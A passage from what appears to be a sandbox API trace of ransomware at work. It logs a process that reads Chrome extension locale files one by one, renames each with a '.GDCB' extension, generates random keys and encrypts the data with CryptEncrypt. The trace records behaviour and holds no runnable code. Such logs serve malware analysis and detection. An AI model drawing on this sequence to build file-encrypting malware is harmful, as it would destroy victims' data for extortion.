lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xac, lpOverlapped=0x0) returned 1 [0269.911] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.934] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.gdcb")) returned 1 [0269.943] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.949] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.949] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.949] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.949] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.954] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.954] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.954] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.954] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0269.957] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67984e0) returned 1 [0269.957] CryptGetKeyParam (in: hKey=0x67984e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.957] CryptEncrypt (in: hKey=0x67984e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.957] GetLastError () returned 0x0 [0269.957] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.957] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.959] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67984a0) returned 1 [0269.959] CryptGetKeyParam (in: hKey=0x67984a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.959] CryptEncrypt (in: hKey=0x67984a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.959] GetLastError () returned 0x0 [0269.959] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.959] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.961] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.963] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.966] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc1, lpOverlapped=0x0) returned 1 [0269.975] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.981] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.gdcb")) returned 1 [0269.987] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.991] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.991] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.991] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.991] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.996] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.996] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.996] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.998] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798320) returned 1 [0269.998] CryptGetKeyParam (in: hKey=0x6798320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.998] CryptEncrypt (in: hKey=0x6798320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.998] GetLastError () returned 0x0 [0269.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.998] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.000] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798520) returned 1 [0270.000] CryptGetKeyParam (in: hKey=0x6798520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.000] CryptEncrypt (in: hKey=0x6798520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.001] GetLastError () returned 0x0 [0270.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.001] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.002] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.004] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.006] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x12a, lpOverlapped=0x0) returned 1 [0270.019] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.024] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.gdcb")) returned 1 [0270.029] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.034] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.034] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.038] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.038] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.038] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.041] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67982e0) returned 1 [0270.041] CryptGetKeyParam (in: hKey=0x67982e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.041] CryptEncrypt (in: hKey=0x67982e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.041] GetLastError () returned 0x0 [0270.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.041] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.043] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798620) returned 1 [0270.043] CryptGetKeyParam (in: hKey=0x6798620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.043] CryptEncrypt (in: hKey=0x6798620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.043] GetLastError () returned 0x0 [0270.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.045] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.050] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb2, lpOverlapped=0x0) returned 1 [0270.058] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.064] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0270.070] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.075] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.075] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.075] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.075] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.080] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.080] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.080] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.082] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798160) returned 1 [0270.082] CryptGetKeyParam (in: hKey=0x6798160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.082] CryptEncrypt (in: hKey=0x6798160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.083] GetLastError () returned 0x0 [0270.083] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.083] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.084] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798660) returned 1 [0270.084] CryptGetKeyParam (in: hKey=0x6798660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.084] CryptEncrypt (in: hKey=0x6798660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.085] GetLastError () returned 0x0 [0270.085] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.085] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.086] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.089] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.091] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x109, lpOverlapped=0x0) returned 1 [0270.100] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.109] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_US\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\en_us\\messages.json.gdcb")) returned 1 [0270.114] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.119] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.119] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.119] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.119] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.122] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.124] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.124] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.124] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.126] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798220) returned 1 [0270.127] CryptGetKeyParam (in: hKey=0x6798220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.127] CryptEncrypt (in: hKey=0x6798220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.127] GetLastError () returned 0x0 [0270.127] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.127] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.128] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67983a0) returned 1 [0270.129] CryptGetKeyParam (in: hKey=0x67983a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.129] CryptEncrypt (in: hKey=0x67983a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.129] GetLastError () returned 0x0 [0270.129] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.129] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.130] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.133] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.135] ReadFile (in: hFile=0x470, 